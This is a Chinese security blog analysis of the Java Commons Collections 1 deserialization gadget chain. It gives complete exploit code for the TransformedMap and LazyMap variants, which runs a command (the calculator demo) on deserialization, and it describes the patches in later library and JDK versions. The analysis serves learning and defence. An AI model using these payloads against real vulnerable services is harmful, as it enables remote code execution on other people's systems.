什么是CC?
CC全称Commons Collections,主要封装了Java的集合相关类对象,它是Java中的一个组件
利用链是什么?
你可以把他看做反序列化漏洞的EXP ,利用链首先要满足三个要求
-
可控的反序列化: 如果无法控制反序列化的数据,就无法构造恶意代码,利用链第一步就无法完成
-
组件中要有命令执行函数
-
组件中要存在序列化操作
CC1复现环境
-
Java < 8U71
-
CommonsCollections <= 3.2.1
-
https://hg.openjdk.org/jdk8u/jdk8u/jdk/log?rev=annotationinvocationhandler
-
https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
Transformer
CC1 有两种构造方式,一个是用Transformer类,另一种利用LazyMap类,首先来看Transformer
先new一个Transformer接口跟进
new Transformer()
可以看到Transformer下有几个实现类,主要介绍几个下面用的到的
InvokerTransformer类分析
InvokerTransformer是利用反射动态调用对象的类
然后跟进InvokerTransformer这个文件,构造方法这里创建InvokerTransformer类需要传递三个参数,分别是方法名称,方法参数的类型,方法参数
接着往下看,这里的transform方法是继承的Transformer接口对他进行重写,这里的transform方法处利用反射执行命令并且方法用户可控,这也是Transformer类能够作为CC1利用链根本的原因
ChainedTransformer类分析
接着跟进到ChainedTransformer类中,首先看ChainedTransformer类的构造方法中iTransformers返回的是个数组
下面的transform方法遍历数组,将上一个的输出作为下一个的输入,递归创建类
ConstantTransformer类分析
首先这里可以看到ConstantTransformer类中transform方法只返回了一个IConstant常量
那么回头去看构造方法得知这个类需要传递一个Object对象然后赋值给iConstant,也就是说无论传递过来的是啥他都会返回预设的常量
分析利用链
transform
我们找到刚才的Invoker类
Invoker这个类可以序列化那么往下看,这个地方重写了transform方法,在代码里利用反射调用用户输入进来的值,input只要不为空即可,并且该函数是public权限
直接调用InvokerTransformer类执行命令
首先利用InvokerTransformer通过反射获取exec方法名和参数类型和要执行的参数信息,再利用InvokerTransformer下的transform方法执行之前调用的也就是Runtime.getRuntime类,还原出来就是Runtime.getRuntime.exec("calc")
new Class[] 就是创建一个Class类型的数组,第三个是Object类型的数组,为啥要这样写?因为InvokerTransformer的构造方法就是这么写的想要利用这个方法执行命令就得这么写,开发也是考虑到不同的方法参数不止一个并且类型并不单一,利用数组的形式可以存放多个类型
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
checkSetValue
接着往下跟进查看那些地方调用了transform方法
TransformedMap下的checkSetValue调用了transform
TransformedMap下的checkSetValue调用了transform,由于checkSetValue权限是protected所以我们向上去找valueTransformer在哪块实现的
这里是被自己的构造方法调用进行了赋值但是他的权限是protected只能被自己调用,那么接着往上翻,这个方法被哪里调用了
这里是被decorate对TransformedMap进行的装饰,那么一会写exp的时候需要调用decorate实例化这个类,但是由于checkSetValue是protected权限,所以我们还需要找哪个地方直接调用了checkSetValue
setValue
在MapEntry下的setValue中调用了checkSetValue
MapEntry是个键值对那么这个地方可以通过遍历实现对它的调用,在这里就需要去找有没有地方直接实现了MapEntry键值对的遍历
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("key","value");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry: transformed.entrySet()){
entry.setValue(r);
}
// 此时的链子是 setValue(r)-> checkSetValue(value=r) valueTransform = invokerTransformer -> invokerTransformer.transform(r)
AnnotationInvocationHandler
接着向上查找,哪个地方调用了setvalue,恰巧AnnotationInvocationHandler类重写了readObject方法并且还进行了MapEntry遍历调用了setValue方法
先来看下构造函数,构造函数传递了一个注解和Map,但是这个类只能在包内调用,想要利用的话需要通过反射调用
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("key","value");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Override.class,transformed);
返回到readObject方法中,memberTypes实际上是传递进来的是注解Override.class,然后循环map获取注解的成员变量,但我们这里Override是空的,我们需要将他替换成一个有成员变量的注解比如Resources
那么上面也说了他会获取这个注解的成员变量,那么我们还需要将map.put修改一下,将key改为Resources对应的成员变量,这里if只判断了注解的成员变量存不存在所以value值可以随便写,但是这里还有两个问题
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("value","123daa");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Override.class,transformed);
问题一
Runtime本身没有继承Serializable接口,这里可以反射调用Runtime.class解决
正常的反射代码
Class c = Class.forName("java.lang.Runtime");
Method runtimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) runtimeMethod.invoke(null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");
结合最开始分析的ChainedTransformer类,可以简化代码把代码换成Transform版本的反射调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
问题二
前面我们把memberValue改成了我们MapEntry.setValue了再到checkSetValue这里其实可以通过我们最开始分析的ConstantTransformer类它不管传进去的是什么都会返回原本类型的常量,通过他我们可以修改掉checkSetValue这里原本的代理异常类替换成我们的Runtime
最终Exp
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.security.krb5.internal.crypto.crc32;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//getDeclaredConstructor能访问私有构造器
Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Resources.class,transformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
LazyMap
这是最早国外发现的版本,但相同的是都是由于调用了transform方法导致的,但他们调用的类不同
利用链分析
LazyMap分析
关键点方法是factory.transform,这个if判断获取key参数如果为空的话就会执行transform,所以再构造exp的时候要保证key为空才能触发,既然这里存在构造利用链的可能那就往上翻看看这个类怎么实现
这里看到LazyMap的构造类是protected权限,传递了两个参数分别为Map,Factary,既然不能直接创建LazyMap那就接着翻
这里有个装饰器decorate并且他还是public,那么我们就可以利用decorate去调用LazyMap
不完整的exp,decorate中的 factory参数此时就是 ChainedTransformer 再利用get获取一个不存在的key后触发了 factory.transform等价于 ChainedTransformer.transform,因此导致命令执行
// 上面不变
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),chainedTransformer);
//利用get获取一个不存在的key,触发factory.transform
lazyMap.get("key");
AnnotationInvocationHandler类分析
接着查找哪里调用了get,由于这个方法调用的实在是太多(有几千个),所以直接参考文章定位到目标文件,没错还是在AnnotationInvocationHandler下边调用的,只不过这次是Invoke
往上翻去看Invoke所属类的定义,这里继承了InvocationHandler接口,必须要重写invoke方法,在调用代理处理器的代理对象中方法之前会自动执行invoke方法
class AnnotationInvocationHandler implements InvocationHandler, Serializable
再返回到invoke里,有两个if判断第一个是判断是否使用equals第二个是判断参数数量,所以在这里我们需要满足两个条件,第一就是不适用equals,第二是无参方法,才能够触发下面的memberValues.get(member)
接下来我们需要去找被代理对象LazyMap可执行方法并且是不能存在参数的,接着完善exp
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动计算器
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
//使用chainedTransformer装饰HashMap生成新的Map
Map decorate = LazyMap.decorate(hash, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) declaredConstructor.newInstance(Override.class,decorate);
Map myproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),ih);
myproxy.entrySet();
最终exp
刚好AnnotationInvocationHandler类的readObject方法可以看到他这里正好就调用了entrySet,因此我们只需要把被代理对象myproxy赋值给memberValues即可,可以先创建代理对象然后再将被代理对象传递给AnnotationInvocationHandler构造方法中
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动计算器
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
//使用chainedTransformer装饰HashMap生成新的Map
Map decorate = LazyMap.decorate(hash, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) declaredConstructor.newInstance(Override.class,decorate);
Map myproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),ih);
Object o = declaredConstructor.newInstance(Override.class,myproxy);
serialize(o);
unserialize("ser.bin");
执行流程
readObject-> memberValues.entrySet()
-> 调用 Proxy.newProxyInstance()
-> 触发 invoke
-> LazyMap.get()
-> InvokerTransformer.transform()
修复方式
1. CC库版本提高
checkUnsafeSerialization
cc库 > 3.2.1版本后,限制了InvokerTransformer的序列化操作,导致无法使用
打开pox.xml把cc版本改成3.2.2,并下载库的源代码方便我们去追踪查找
同样我们利用之前cc1的exp运行试一下,同样的代码但是运行时抛出了异常,具体就是在org.apache.commons.collections.functors.InvokerTransformer类下无法进行序列化操作....
那么我们在exp序列化的地方打断点调试看一下到底是为什么?
步入跟进代码后发现InvokerTransformer类多了几行对序列化检查的代码
继续跟进,看到有个if判断,大体意思就是判断这个类允不允许序列化操作,这个地方有一个UNSAFE_SERIALIZABLE_PROPERTY常量具体是什么目前不清楚,往上翻代码看下属性
这里的常量值是org.apache.commons.collections.enableUnsafeSerialization,这个是系统属性,他是来控制InvokerTransformer等一些类序列化操作的,当他的值为true则允许该类进行序列化操作
那么既然我们已经搞清楚这一点了,那就返回到checkUnsafeSerialization里继续调试,这里直接给unsafeSerializableProperty赋了个空值,进入下面的if判断,unsafeSerializableProperty中并不存在true所以抛出异常,也就是说在高于3.2.1版本,针对InvokerTransformer进行了限制,不允许你序列化操作,所以不能再用之前的链来rce了
2. JDK版本提高
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/f8a528d0379d
setValue
直接进到AnnotationInvocationHandler里看到这里直接没有不用setValue了,而且这里是创建了一个新的LinkedHashMap对象对value进行的操作
LazyMap
LazyMap链中readObject方法更改了memberValues的获取方式,更新后版本是利用fields方法获取并赋值给streamVlas变量,并不像之前一样是直接调用的memberValues,所以这里的streamVlas不可控
原文始发于微信公众号(朱厌安全):Java反序列化-CommonsCollections1链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论